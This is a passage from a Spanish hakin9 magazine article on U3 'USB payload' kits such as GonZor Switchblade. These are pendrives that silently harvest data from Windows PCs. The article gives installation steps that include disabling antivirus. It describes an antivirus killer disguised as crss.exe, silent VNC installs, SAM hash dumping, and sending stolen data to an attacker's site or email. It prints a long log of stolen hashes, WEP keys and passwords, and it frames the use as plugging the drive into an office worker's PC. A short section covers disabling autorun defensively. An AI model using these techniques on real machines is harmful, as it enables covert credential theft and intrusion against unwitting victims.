resolver problemas de conectividad, etc.<br />
70 www.<strong>hakin9</strong>.org/es<br />
Las herramientas de auditoría y<br />
enumeración que se incluyen en<br />
las distribuciones del tipo USB<br />
payload no son nada nuevo,<br />
en todo caso actualizaciones.<br />
Lo novedoso de este sistema,<br />
por lo tanto no es el contenido,<br />
sino la forma de empaquetarlo<br />
utilizando un pendrive USB que,<br />
simplemente al introducirlo,<br />
y sin ninguna interacción del<br />
usuario, extrae muchísima<br />
información importante del<br />
equipo de la víctima.<br />
Todo el contenido de las distribuciones<br />
standard USB payload no es cien por cien<br />
operativo, pero su potencia consiste en las<br />
posibilidades de personalización y actualización.<br />
Si encuentro otras herramientas<br />
más potentes, exploits nuevos, scripts mejorados,<br />
etc, pues las copio en mi pendrive y<br />
las introduzco en los scripts de arranque.<br />
En este artículo aprenderás<br />
• Las diferentes distribuciones USB payload<br />
que puedes encontrar y las herramientas<br />
que incluyen.<br />
• El uso de esta nueva técnica y sus posibilidades.<br />
• La forma de personalizarlas o mejorarlas.<br />
Lo que deberías saber<br />
• Saber utilizar algunas herramientas de hacking<br />
avanzado.<br />
• Creación y edición de archivos de procesos por<br />
lotes o batch.<br />
• Como desactivar tu antivirus, ya que de otra<br />
forma no vas a poder trabajar.
Figura 1. SwitchBlade Logo<br />
Existen múltiples distribuciones del<br />
tipo USB payload, y no todas ellas<br />
precisan del standard U3:<br />
• otras simplemente se basan en<br />
la ingeniería social para solicitar<br />
o inducir al usuario a cliquear con<br />
el ratón sobre su icono.<br />
Algunas versiones de estos payloads<br />
incorporan la funcionalidad de, no<br />
solo guardar la información extraída<br />
en una carpeta, sino además enviarla<br />
a nuestra página web o a una<br />
dirección de correo electrónico.<br />
Para evaluar la peligrosidad de<br />
esta herramienta, imagino estar<br />
en la oficina objetivo de mi ataque<br />
frente a una señorita que me está<br />
atendiendo con un sistema basado<br />
en Windows (desgraciadamente<br />
para la victima).<br />
La señorita se levanta para buscar<br />
unos papeles o consultar con su<br />
superior; veo la CPU (la torre, como<br />
la suelen llamar) sobre la mesa con<br />
cuatro preciosos puertos USB frente<br />
a mí.<br />
No puedo resistirme, e introduzco<br />
mi pendrive en uno de ellos; espero<br />
unos segundos; veo parpadear<br />
su luz... y... ¡Bingo! De nuevo la luz<br />
del pendrive parpadea durante unos<br />
veinte segundos hasta que para.<br />
La extraigo con rapidez. Tengo<br />
todo lo que necesito. Y, ¿que tengo?<br />
Lo veremos en la sección de herramientas<br />
incluidas.<br />
De la misma manera que negativa,<br />
el uso de estas tecnologías<br />
invisibles de ejecución de procesos,<br />
puede ser también positiva en<br />
muchos aspectos.<br />
Empresas como GadgetTrak<br />
utilizan estas técnicas para localizar<br />
un equipo (PC, pda, ipod, teléfono<br />
móvil, etc...) en su ubicación<br />
ilegal tras haberse perdido o robado.<br />
Ya varias empresas trabajan<br />
en estas tecnologías con ese fin.<br />
Distribuciones<br />
conocidas<br />
Incorporan las distribuciones USB<br />
payload es en definitiva un peligroso<br />
arsenal de Max Damage Technique:<br />
• Amish Technique<br />
• Kapowdude technique<br />
• Silivrenions Technique<br />
• Spektormax combo<br />
• Hackblade<br />
• GonZor Switchblade<br />
• Otros updates y híbridos<br />
El standard U3<br />
Como ocurre habitualmente con los<br />
nuevos desarrollos en la informática,<br />
la intención es buena, pero el<br />
producto se convierte en un grave<br />
problema de seguridad.<br />
La intención en este caso, consistía<br />
en desarrollar un standard<br />
para las unidades de almacenamiento<br />
USB o pendrives, consiguiendo<br />
almacenar en ellas todo tipo de software<br />
que pudiera ser portable.<br />
Estos programas no tendrían<br />
necesidad de ser instalados y su<br />
configuración sería reseteada al<br />
reiniciar, o al extraer el pendrive a<br />
su configuración original. Todo ello<br />
sería funcional en Windows, claro<br />
está, aunque también existen ya<br />
controladores para Mac.<br />
U3 está compuesto por la suma<br />
comercial de Sandisk y M-Systems,<br />
por lo que es un standard propietario<br />
y comercial formado en 2005. El<br />
nombre proviene de la suma de los<br />
tres conceptos propuestos para su<br />
eslogan: Simplified for U, Smarter<br />
about U y As mobile as U: las tres<br />
U (U3).<br />
Las aplicaciones que se ejecutan<br />
desde el pendrive pueden escribir<br />
configuraciones y cambios en el<br />
registro de Windows pero el Launchpad<br />
(ejecutador) deberá borrarlas<br />
por normativa al desconectar el<br />
pendrive.<br />
El U3 Launchpad es un programa<br />
desarrollado por esta empresa<br />
como menú de inicio de estas aplicaciones<br />
instaladas.<br />
Se pueden instalar otros muchos<br />
programas a descargar mediante<br />
registro en la página Web de U3.com<br />
www.<strong>hakin9</strong>.org/es<br />
USB Payload<br />
que se ejecutan directamente desde<br />
el pendrive. Hay muchos fabricantes<br />
de software que colaboran con utilidades<br />
y programas como Skype,<br />
Firefox, Winrar, Avast, OpenOffice,<br />
etc... Algunos de ellos son de pago<br />
pero la gran mayoría son gratuitos.<br />
Por eso, comprar una unidad U3 es<br />
muy rentable, no solo por el payload.<br />
Hay miles de utilidades ya incorporadas<br />
a este producto, los fabricantes y<br />
desarrolladores ven en este sistema<br />
un filón de oro.<br />
Pero, ¿qué utilidad puede tener<br />
esto? Pues por ejemplo cuando<br />
vamos de viaje podemos llevarnos<br />
nuestros programas y archivos de<br />
datos con nosotros a cualquier ciber<br />
de cualquier lugar.<br />
Podemos ejecutar nuestros programas<br />
preferidos (skype, messenger,<br />
emule, Office...) sin necesidad<br />
de instalarlos, y acceder a nuestros<br />
datos (documentos, fotos, música,<br />
vídeos, agenda...). Esto es lo que se<br />
llama movilidad.<br />
Al insertar un pendrive en un<br />
PC con Windows, éste emula una<br />
unidad de CDROM tipo ISO-9660 de<br />
solo lectura, donde residen el autorun<br />
y el programa Launchpad en una<br />
partición virtual del pendrive.<br />
Además crea disco extraíble tipo<br />
FAT en el resto del pendrive con una<br />
carpeta SYSTEM oculta donde se<br />
encuentran todas las aplicaciones<br />
U3 instaladas en un formato propietario.<br />
Por lo tanto se crean dos unidades<br />
cuando insertamos el pendrive,<br />
una de ellas la detecta Windows como<br />
un disco óptico y la otra como un<br />
disco extraíble.<br />
Figura 2. Logotipo del standard U3<br />
71
kit<br />
Hay una serie de fabricantes que<br />
incorporan desde hace algún tiempo<br />
modelos de pendrives compatibles<br />
U3, como Sandisk en su modelo<br />
Cruzar o Memorex con su modelo<br />
MiniTravelDrive.<br />
Solo hay que fijarse en que<br />
incorporen el logotipo U3. El precio<br />
suele ser bastante asequible,<br />
un poco superior a los pendrives<br />
convencionales. Se ha firmado un<br />
acuerdo entre Sandisk y Microsoft<br />
para actualizar este standard hacia<br />
otro nuevo, dominado como siempre<br />
por Microsoft. Se vuelve a monopolizar<br />
un producto que está dando<br />
buenos pasos.<br />
Hay una serie de alternativas a<br />
U3. Una de ellas es bastante buena,<br />
y se llama MojoPac de RingCube,<br />
que ofrece versiones libres (muy<br />
funcionales) y de pago.<br />
Al introducir un disco duro extraíble,<br />
un pendrive USB, un teléfono<br />
móvil o un iPod de Apple con este<br />
software instalado podemos tener<br />
todo nuestro entorno Windows preferido<br />
(programas, juegos, email,<br />
cuentas, contraseñas, agendas,<br />
etc...) en cualquier lugar, siempre<br />
que tenga Windows instalado.<br />
Seguridad en<br />
Windows. Autorun<br />
El principal riesgo de este sistema<br />
es el de siempre: la reproducción<br />
automática de Windows, que por<br />
supuesto todos los administradores<br />
responsables han desactivado ya.<br />
Figura 3. El verdadero menú de U3<br />
Lauchpad<br />
Pero no termina aquí, ya que sin tenerla<br />
activada, si se hace click con el<br />
ratón sobre una unidad que tenga un<br />
archivo autorun.inf en su raíz, igualmente<br />
ejecutamos el contenido del<br />
mismo sin saber lo que esconde.<br />
Esto es un gran fallo de seguridad<br />
igualmente, ya que pensamos<br />
que dando doble click vamos a explorar<br />
el contenido de esta unidad<br />
pero por defecto suele esta activada<br />
la opción de ejecutar.<br />
Para desactivar la función<br />
autorun de una unidad extraíble<br />
debemos modificar el registro de Windows.<br />
Para ello utilizaremos la utilidad<br />
regedit.exe o regedt32.exe. Debemos<br />
localizar la clave:HKEY _ LOCAL _<br />
MACHINE\System\CurrentControlSet\<br />
Services\CDRom y cambiar el valor<br />
de Autorun a 0. Desde GonZor<br />
payload también tenemos el botón<br />
Turn U3 Launchpad On/Of que<br />
hace la misma función de forma<br />
sencilla.<br />
En redes corporativas basadas<br />
en Windows, la mejor solución es<br />
desactivar todas estas prácticas mediante<br />
políticas de grupo (grouppolicies)<br />
e incluso desactivar el uso de<br />
unidades extraíbles en los clientes.<br />
Desde la salida de Windows XP<br />
SP2 se desactivó por seguridad<br />
el sistema autorun, en unidades<br />
extraíbles que no fueran del tipo<br />
CDROM.<br />
También se han detectado una<br />
serie de incompatibilidades y vulnerabilidades<br />
con controladores de<br />
software de grabación de CD, que<br />
hacen que el equipo llegue a bloquearse<br />
completamente.<br />
En teoría, el sistema del Launchpad<br />
no puede ser desinstalado por<br />
un usuario convencional (no como<br />
nosotros), por lo que el que compre<br />
un pendrive con U3 lo tiene de por<br />
vida aunque se canse de él y quiera<br />
tener un pendrive normal y corriente,<br />
eso no gusta a muchos usuarios.<br />
Por otra parte al ejecutarlo por<br />
primera vez en un equipo con Windows<br />
se instala una aplicación en el<br />
Windows que no puede ser desinstalada<br />
por éste.<br />
El hecho mismo de que un<br />
usuario pueda llevar a su puesto de<br />
72 www.<strong>hakin9</strong>.org/es<br />
trabajo, en un dispositivo del tamaño<br />
de un mechero programas no autorizados<br />
o aceptados por las políticas<br />
de la empresa, ya crea para los<br />
administradores un gran riesgo de<br />
seguridad fuera de su control.<br />
Este sistema de robo de información<br />
privilegiada ya existe desde<br />
hace mucho tiempo, en una época<br />
se conoció como IpodSlurping, ya<br />
que con dispositivos USB como<br />
iPod de Apple se podía robar información<br />
de la empresa sin riesgo de<br />
sospecha.<br />
Otro contradictorio riesgo de seguridad<br />
en Windows es, que el usuario<br />
del PC suele ser administrador<br />
del mismo, debido a los problemas<br />
e incompatibilidades de muchos<br />
programas para correr sin privilegios<br />
de administrador. Por ello, si se<br />
limita al usuario en esto, es menor la<br />
cantidad de información que se puede<br />
robar con el payload, pero si es<br />
administrador, se saca de todo.<br />
GonZor Payload<br />
La distribución que más me gusta<br />
por su simplicidad y contenido es<br />
la de GonZor Switchblade en su<br />
versión 2.<br />
Esta, además de ser muy sencilla<br />
de instalar, incorpora casi todas<br />
las herramientas necesarias para<br />
extraer casi toda la información relevante<br />
de una cuenta de usuario.<br />
GonZor incorpora prácticamente<br />
toda la colección de herramientas<br />
que tratamos aquí, pero con la ventaja<br />
de utilizar su propio configurador<br />
gráfico que de forma cómoda modifica<br />
el script de ataque para nosotros,<br />
activando y desactivando cualquier<br />
herramienta e incluso el propio<br />
payload, además de configurar las<br />
cuentas de correo y direcciones necesarias<br />
para los envíos de información<br />
y conexiones. Esto demuestra<br />
un gran esfuerzo en su diseño.<br />
Como defecto, considero que<br />
el GonZor tiene el problema de no<br />
ser demasiado stealth (invisible)<br />
al usuario, ya que nos muestra al<br />
ejecutarlo hasta su logo. Esto hay<br />
que evitarlo, aunque sé que ya está<br />
trabajando en una nueva versión.<br />
Estamos esperando impacientes.
Figura 4. Unidades detectadas por<br />
Windows<br />
Instrucciones para instalar<br />
GonZor Switchblade<br />
• Descarga de los links indicados<br />
al final el GonZor Switchblade y<br />
el Universal Customizer.<br />
• Extrae el Universal Customizer<br />
donde te venga bien.<br />
• Extra el U3CUSTOM.ISO descargado<br />
de GonZor, a la carpeta<br />
BIN dentro del Universal Customizer.<br />
• Ejecuta el Universal Customizer.<br />
No olvides desactivar el antivirus.<br />
• Extrae el archivo SBConfig.exe<br />
descargado de GonZor a la unidad<br />
extraíble del pendrive.<br />
• Ejecuta SBConfig.exe y configura<br />
las opciones a tus necesidades.<br />
Desactiva las herramientas dañinas<br />
para tí. Y no olvides descargar<br />
de la página de herramientas<br />
el antídoto y el backup y restore.<br />
Te harán falta.<br />
Universal Customizer.<br />
La otra gran estrella<br />
Algunos programadores, aprovechándose<br />
de este sistema nos<br />
permiten customizar los pendrive<br />
de este tipo, con programas como<br />
Figura 5. Algunos pendrive tipo U3<br />
el Universal Customizer del que ya<br />
hablaremos en los siguientes párrafos.<br />
La forma más sencilla de grabar<br />
las distribuciones basadas en<br />
U3 es el Universal Customizer. Este<br />
programa creado por U3Hacker<br />
posee una gran interface gráfica,<br />
muy sencilla de utilizar que permite<br />
grabar una distribución payload<br />
descargada en formato ISO a un<br />
pendrive U3 con gran éxito. De esta<br />
manera se puede modificar la ISO<br />
mediante winrar, winiso o cualquier<br />
otra aplicación de edición de ISO,<br />
para personalizarla a nuestro gusto.<br />
Este proyecto también se aloja y<br />
soporta en la página de Hak5.org.<br />
Antes de grabar el nuevo payload<br />
en el pendrive hace automáticamente<br />
una copia de seguridad del<br />
Launcher original, para evitar perder<br />
sus propiedades y garantía, si<br />
deseamos restaurarlo a su estado<br />
de fábrica. Muy profesional.<br />
Contenido de USB<br />
payload – Herramientas<br />
Lo que incorporan las distribuciones<br />
USB payload es, en definitiva, un<br />
peligroso arsenal de herramientas<br />
de enumeración de sistemas y de<br />
seguridad. Todas ellas parametrizables<br />
y actualizables a nuestro antojo<br />
y conocimiento, debiendo poner<br />
especial atención a las opciones y<br />
modificadores de cada una de ellas:<br />
o sea aprendiendo a utilizarlas a fondo.<br />
Puedes descargar todas estas<br />
herramientas en el link de SwitchBlade<br />
en Hak5.org.<br />
Dependiendo de la distribución<br />
se introducen unas u otras herra-<br />
www.<strong>hakin9</strong>.org/es<br />
USB Payload<br />
73
kit<br />
Figura 6. Configurador de GonZor<br />
payload<br />
mientas; yo, simplemente voy a pasar<br />
a enumerarlas todas:<br />
• go.cmd<br />
Es el batch o script de arranque<br />
y control de todas las<br />
herramientas. Para modificarlo<br />
hay que entender algo<br />
o bastante de archivos de<br />
proceso por lotes de DOS.<br />
También hay versiones que<br />
incorporan este script en<br />
VBA o compilándolo de BAT<br />
o CMD a EXE con utilidades<br />
como bat2exec, ya que los<br />
BAT o VBA son muy detectables<br />
por los antivirus.<br />
• Alternative Loader<br />
Hay cargadores alternativos al<br />
incluido en U3. Depende de si<br />
el pendrive es compatible U3<br />
o no, se utilizarán diferentes<br />
cargadores con diferentes características.<br />
• Nircommand<br />
Muy buena utilidad para ejecutar<br />
comandos en una ventana<br />
oculta de DOS o CMD.exe sin<br />
Figura 7. Universal U3 Cusmizer<br />
que se vean en Windows ni la<br />
ventana ni la referencia a ella<br />
en la barra de tareas.<br />
• AV Killer 1.2 BETA<br />
Es una herramienta que lucha<br />
con el tiempo cada vez que se<br />
actualiza y que no suele durar<br />
semanas ya que los antivirus la<br />
detectan enseguida. Su finalidad<br />
es la de detener al antivirus<br />
instalado en el PC que la ejecuta<br />
y ha tenido éxito con casi<br />
todos los antivirus durante un<br />
corto periodo. En las payloads<br />
se la renombra como crss.exe<br />
para evitar sospechas, pero<br />
aun así no suele funcionar.<br />
• Captura de IP pública tras Gateway<br />
GonZor utiliza un script muy<br />
simple para averiguar la IP pública<br />
del sistema víctima. Esta<br />
herramienta precisa de una<br />
página web con un pequeño<br />
archivo CGI copiado a ella que<br />
averigua la IP y la devuelve.<br />
• Arming/Disarming the drive<br />
Es un script para desactivar<br />
el modo autorun del equipo<br />
donde se ejecuta, para protegernos<br />
en casa de nuestra<br />
propia arma, o volver a activarlo.<br />
• Switchblade Kill Switch<br />
En GonZor hay una pestaña<br />
en el configurador para<br />
hacer lo mismo, pero de<br />
manera que desarmamos el<br />
pendrive hasta que lo vuelva<br />
a armar.<br />
• System Info<br />
Es una parte del script muy<br />
sencilla, pero necesaria, que<br />
vuelca las principales variables<br />
del sistema en Windows hacia<br />
nuestro log en el pendrive.<br />
Utiliza las variables: %computername%<br />
, %username% ,<br />
%date% , %time% ... Además<br />
de usar ipconfig para mostrar la<br />
configuración de red.<br />
• Dump SAM<br />
Extrae los hashes MD5 de<br />
contraseñas de usuarios<br />
mediante PWDump. No siempre<br />
funciona, pero cuando lo<br />
hace... Nos llevamos unos<br />
74 www.<strong>hakin9</strong>.org/es<br />
maravillosos hashes para<br />
crackearlos con tiempo y paciencia.<br />
• Product Key<br />
Nos da los códigos de serie<br />
de productos de Microsoft<br />
como Windows, Office y<br />
otros. Capturamos números<br />
de serie funcionales.<br />
• Internet Explorer Password<br />
Grabber<br />
Una buena herramienta para<br />
sacar las password que muchos<br />
usuarios incautos introducen<br />
en Internet Explorer<br />
cuando acceden a páginas<br />
con sistemas flojos de protección.<br />
Funciona incluso con<br />
IE7.<br />
• Windows Update Lister<br />
Otra herramienta interesante<br />
para planificar un ataque con<br />
tiempo y organización. Nos<br />
muestra los updates instalados<br />
en el PC con Windows.<br />
De esa manera podemos<br />
hallar las vulnerabilidades<br />
existentes en esa máquina y<br />
buscar los exploits adecuados<br />
para un buen ataque.<br />
• Network Password Dumper<br />
Utilidad para el volcado de<br />
passwords grabadas en cache,<br />
como por ejemplo las<br />
del autologon de Windows,<br />
Sobre el Autor<br />
Yago F. Hansen cuenta con máster<br />
en ingeniería de software, además de<br />
contar con más de 8 años de experiencia<br />
en tecnologías inalámbricas. Es<br />
especialista en la implementación y auditoría<br />
de redes wifi. Cuenta con amplia<br />
experiencias en motores de datos, sistemas<br />
Microsoft, Linux y Networking.<br />
Es formador y consultor en seguridad<br />
informática y métodos de penetración<br />
en redes wifi para empresas e instituciones.<br />
Finalista en el concurso IBM<br />
Leonardo DaVinci 1995, cuenta con<br />
publicaciones y artículos de informática,<br />
además de ser colaborador directo<br />
y revisor de publicaciones técnicas de<br />
la editorial Rama. Ha impartido diferentes<br />
talleres y seminarios de hacking<br />
ético y seguridad en wifi para empresas<br />
y en universidades.
Listado 1. Captura de log de GonZor switchblade<br />
Archivo: RAD-SRV-01-[20070927-105119]<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
GonZors Payload [Time Started: 27/09/2007 10:51:21,90]<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
Computer Name is: RAD-SRV-01 and the Logged on User Is:<br />
Administrador<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
+----------------------------------+<br />
+ [System info] +<br />
+----------------------------------+<br />
Configuración IP de Windows<br />
Nombre del host . . . . . . . : rad-srv-01<br />
Sufijo DNS principal . . . . : discretisimo.com<br />
Tipo de nodo. . . . . . . . . : híbrido<br />
Enrutamiento habilitado . . . : No<br />
Proxy WINS habilitado . . . . : No<br />
Adaptador Ethernet Conexión de área local:<br />
Sufijo conexión específica DNS:<br />
Descripción . . . . . . . . . : Broadcom NetXtreme<br />
Gigabit Ethernet<br />
Dirección física. . . . . . . : 00-1A-A0-0F-F7-07<br />
DHCP habilitado . . . . . . . : No<br />
Dirección IP. . . . . . . . . : 192.168.1.1<br />
Máscara de subred . . . . . . : 255.255.255.0<br />
Puerta de enlace predet.. . . : 192.168.1.199<br />
Servidores DNS. . . . . . . . : 80.58.0.30<br />
80.58.32.33<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
+----------------------------------+<br />
+ [External IP] +<br />
+----------------------------------+<br />
External IP dumped<br />
80.x.x.x<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
+----------------------------------+<br />
+ [VNC] +<br />
+----------------------------------+<br />
VNC was installed silently<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
+----------------------------------+<br />
+ [HakSaw] +<br />
+----------------------------------+<br />
HakSaw was installed silently<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
+----------------------------------+<br />
+ [Dump Wifi Hex] +<br />
+----------------------------------+<br />
==================================================<br />
Network Name (SSID): WLAN_16<br />
Key Type : WEP<br />
Key (Hex) : 5a303031333439383133453136<br />
Key (Ascii) : Z001349813E16<br />
Adapter Name : IEEE 802.11 Wireless LAN/PC Card(5V)<br />
Adapter Guid : {7A2E64AD-321E-4ED3-8512-29C4604EB0C8}<br />
==================================================<br />
www.<strong>hakin9</strong>.org/es<br />
USB Payload<br />
==================================================<br />
Network Name (SSID): SOPWIFI96<br />
Key Type : WEP<br />
Key (Hex) : 0a0b0c0d0e0f0a0b0c0d0e0f0a<br />
Key (Ascii) :<br />
Adapter Name : IEEE 802.11 Wireless LAN/PC Card(5V)<br />
Adapter Guid : {7A2E64AD-321E-4ED3-8512-29C4604EB0C8}<br />
==================================================<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
+----------------------------------+<br />
+ [Dump SAM PWDUMP] +<br />
+----------------------------------+<br />
Using pipe {4A29FB50-9610-4A7A-90EB-3E66D9C00EA1}<br />
Key length is 16<br />
Administrador:500:4BA24AA3FE36C933F7E62F36F8DB5AE6:900677E<br />
C06068E3D2D5352D5A8879993:::<br />
Invitado:501:NO PASSWORD*********************:NO PASSWORD*<br />
********************:::<br />
SUPPORT_388945a0:1001:NO PASSWORD*********************:<br />
65BE3920B03364762DC69B7E53A57058:::<br />
Completed.<br />
pwdump6 Version 1.5.0-BETA by fizzgig and the mighty group<br />
at foofus.net<br />
** THIS IS A BETA VERSION! YOU HAVE BEEN WARNED. **<br />
Copyright 2006 foofus.net<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
+----------------------------------+<br />
+ [Dump SAM FGDUMP] +<br />
+----------------------------------+<br />
Starting dump on 127.0.0.1<br />
** Beginning local dump **<br />
OS (127.0.0.1): Microsoft Windows 2003 Server (Build 3790)<br />
Passwords dumped successfully<br />
-----Summary-----<br />
Failed servers:<br />
NONE<br />
Successful servers:<br />
127.0.0.1<br />
Total failed: 0<br />
Total successful: 1<br />
-----Hashes-----<br />
Administrador:500:4BA24AA3FE36C933F7E53136F8DB5AE6:900677E<br />
C06068E3D2D5352D5A8885553:::<br />
Invitado:501:NO PASSWORD*********************:NO PASSWORD*<br />
********************:::<br />
SUPPORT_388945a0:1001:NO PASSWORD*********************:<br />
65BE3920B03364762DC69B7E53A57058:::<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
+----------------------------------+<br />
+ [Dump Network PW] +<br />
+----------------------------------+<br />
==================================================<br />
Item Name : Microsoft_WinInet_192.168.1.200:80/DD-<br />
WRT<br />
Type : Generic<br />
User : neinting<br />
75
kit<br />
Listado 1. Captura de log de GonZor switchblade<br />
(Continuación)<br />
Password : HOCCHULLLE<br />
Last Written : 09/12/2007 8:51:12<br />
Alias :<br />
Comment :<br />
Persist : Enterprise<br />
==================================================<br />
==================================================<br />
Item Name : Passport.Net\*<br />
Type : .NET Passport<br />
User : nifnicknaounte@hotmail.com<br />
Password : WONONMOIK<br />
Last Written : 21/04/2006 18:55:59<br />
Alias :<br />
Comment :<br />
Persist : Enterprise<br />
==================================================<br />
----------------------------------------------------------<br />
+----------------------------------+<br />
+ [Dump Mail PW] +<br />
+----------------------------------+<br />
==================================================<br />
Name : Yago Fdez. Hansen<br />
Application : Outlook Express<br />
Email : wountry@soportec.com<br />
Server : pop.soportec.com<br />
Type : POP3<br />
User : strange@soportec.com<br />
Password : abracadabra<br />
Profile :<br />
==================================================<br />
==================================================<br />
Name : Yago Fdez. Hansen<br />
Application : Outlook Express<br />
Email : wountry@soportec.com<br />
Server : stp.soportec.com<br />
Type : SMTP<br />
User :<br />
Password :<br />
Profile :<br />
==================================================<br />
==================================================<br />
Name : Yago Fdez. Hansen<br />
Application : MS Outlook<br />
Email : wountry@soportec.com<br />
Server : pop.soportec.com<br />
Type : POP3<br />
User : strange@soportec.com<br />
Password :<br />
Profile :<br />
==================================================<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
+----------------------------------+<br />
+ [Dump Firefox PW] +<br />
+----------------------------------+<br />
Error : Firefox profile directory is not specified<br />
FirePassword (Ver 2.0.1) : Firefox Username & Password<br />
List Decryptor<br />
by Nagareshwar Y Talekar<br />
For latest version visit http://www.securityxploded.com.<br />
Usage :<br />
76 www.<strong>hakin9</strong>.org/es<br />
.\FirePassword.exe [-m "master password" ] [Firefox_<br />
Profile_Directory]<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
+----------------------------------+<br />
+ [Dump IE PW] +<br />
+----------------------------------+<br />
==================================================<br />
Entry Name : tools.cisco.com:443/CCO WWChannels-<br />
UNIFY [22:57:20:122]<br />
Type : Password-Protected Web Site<br />
Stored In : Protected Storage<br />
User Name : naintingoungyinghow<br />
Password : hereitis<br />
==================================================<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
+----------------------------------+<br />
+ [Dump messenger PW] +<br />
+----------------------------------+<br />
==================================================<br />
Software : MSN Messenger<br />
Protocol : MSN Messenger<br />
User : howareningitina@hotmail.com<br />
Password : 978fadsf865<br />
==================================================<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
+----------------------------------+<br />
+ [Dump Cache] +<br />
+----------------------------------+<br />
ERROR Failed to open key SECURITY\Cache in RegOpenKeyEx.<br />
Is service running as SYSTEM ? Do<br />
you ever log on domain ? (code 0)<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
+----------------------------------+<br />
+ [Dump LSA secrets] +<br />
+----------------------------------+<br />
==================================================<br />
Resource Name : IdentitiesPass<br />
Resource Type : Outlook Express Identity<br />
User Name/Value : Identidad principal<br />
Password :<br />
==================================================<br />
==================================================<br />
Resource Name : pop3.terra.esE83E9EC0<br />
Resource Type : Obsolete Outlook Account<br />
User Name/Value :<br />
Password : adfadoieg<br />
==================================================<br />
==================================================<br />
Resource Name : 192.168.0.102:80/Camara inalambrica<br />
Soportec.com<br />
Resource Type : IE: Password-Protected Sites<br />
User Name/Value : demo<br />
Password : demo<br />
==================================================<br />
==================================================<br />
Resource Name : ftp://ftp.sopear@ftp.soportec.com
Listado 1. Captura de log de GonZor switchblade<br />
(Continuación)<br />
Resource Type : IE: Password-Protected Sites<br />
User Name/Value : ftp.sopear<br />
Password : NAD986Jad<br />
==================================================<br />
==================================================<br />
Resource Name : y_name<br />
Resource Type : AutoComplete Fields<br />
User Name/Value : Yago Hansen<br />
Password :<br />
==================================================<br />
==================================================<br />
Resource Name : y_phone<br />
Resource Type : AutoComplete Fields<br />
User Name/Value : +3467345575355<br />
Password :<br />
==================================================<br />
----------------------------------------------------------<br />
+----------------------------------+<br />
+ [Dump Product Keys] +<br />
+----------------------------------+<br />
==================================================<br />
Product Name : Microsoft Windows Server 2003<br />
Product ID : 69893-012-0032322345-34342<br />
Product Key : E5RR3453-4EREBJH3-9R3345M-4V3439Q-<br />
K43M8M<br />
Computer Name : RAD-SRV-01<br />
==================================================<br />
==================================================<br />
Product Name : Internet Explorer<br />
Product ID : 69893-01R3-00003ERE-423ADF5<br />
Product Key : M6RJ9-TBJHER-9DRERM-4VZVQ-KZVZM<br />
Computer Name : RAD-SRV-01<br />
==================================================<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
+----------------------------------+<br />
+ [Dump URL History] +<br />
+----------------------------------+<br />
Páginas visitadas en la semana que empez¢ el 17/09/2007<br />
Páginas visitadas en www.totse.com<br />
Páginas visitadas en 192.168.1.200<br />
Páginas visitadas en hostap.epitest.fi<br />
Páginas visitadas en www.redsofts.com<br />
Páginas visitadas en www.google.es<br />
Páginas visitadas en packetstormsecurity.org<br />
Páginas visitadas en www.rsa.com<br />
Páginas visitadas en www.dd-wrt.org<br />
Páginas visitadas en www.laperlaonline.com.ar<br />
Páginas visitadas en www.soportec.com<br />
Páginas visitadas en www.google.com<br />
Páginas visitadas en wiki.ethereal.com<br />
Páginas visitadas en www.cisco.com<br />
Páginas visitadas en www.bvsystems.com<br />
Páginas visitadas en Mi PC<br />
Páginas visitadas en 192.168.1.201<br />
Páginas visitadas en www.l0t3k.org<br />
Páginas visitadas en bytes2000.wordpress.com<br />
Páginas visitadas en en.wikipedia.org<br />
Páginas visitadas en 192.168.1.250<br />
Páginas visitadas en sourceforge.net<br />
----------------------------------------------------------<br />
www.<strong>hakin9</strong>.org/es<br />
----------------------<br />
Páginas visitadas hoy<br />
USB Payload<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
+----------------------------------+<br />
+ [Dump Updates-List] +<br />
+----------------------------------+<br />
==================================================<br />
Name : ie7beta1<br />
Description :<br />
Installed By : Supervisor<br />
Installation Date : 17/03/2007<br />
Display Version : 20050725.101101<br />
Update Type : Update<br />
Operating System : Windows XP<br />
Web Link : http://support.microsoft.com/<br />
?kbid=ie7beta1<br />
Uninstall Command : C:\WINDOWS\$NtUninstallie7beta1$\<br />
spuninst\spuninst.exe<br />
==================================================<br />
==================================================<br />
Name : KB893803<br />
Description : Windows Installer 3.1 (KB893803)<br />
Installed By : Supervisor<br />
Installation Date : 08/09/2007<br />
Display Version : 3.1<br />
Update Type : Update<br />
Operating System : Windows XP<br />
Web Link : http://support.microsoft.com/<br />
?kbid=893803<br />
Uninstall Command : C:\WINDOWS\$MSI31Uninstall_KB893803$\<br />
spuninst\spuninst.exe<br />
==================================================<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
+----------------------------------+<br />
+ [Network Services] +<br />
+----------------------------------+<br />
Conexiones activas<br />
Proto Direcci¢n local Direcci¢n remota<br />
Estado PID<br />
TCP 0.0.0.0:135 0.0.0.0:0<br />
LISTENING 956<br />
c:\windows\system32\WS2_32.dll<br />
C:\WINDOWS\system32\RPCRT4.dll<br />
c:\windows\system32\rpcss.dll<br />
C:\WINDOWS\system32\svchost.exe<br />
-- componentes desconocidos --<br />
[svchost.exe]<br />
TCP 0.0.0.0:445 0.0.0.0:0<br />
LISTENING 4<br />
[Sistema]<br />
TCP 127.0.0.1:5354 0.0.0.0:0<br />
LISTENING 1472<br />
[mDNSResponder.exe]<br />
TCP 192.168.1.201:139 0.0.0.0:0<br />
LISTENING 4<br />
[Sistema]<br />
77
kit<br />
Listado 1. Captura de log de GonZor switchblade<br />
(Continuación)<br />
TCP 127.0.0.1:2288 127.0.0.1:445<br />
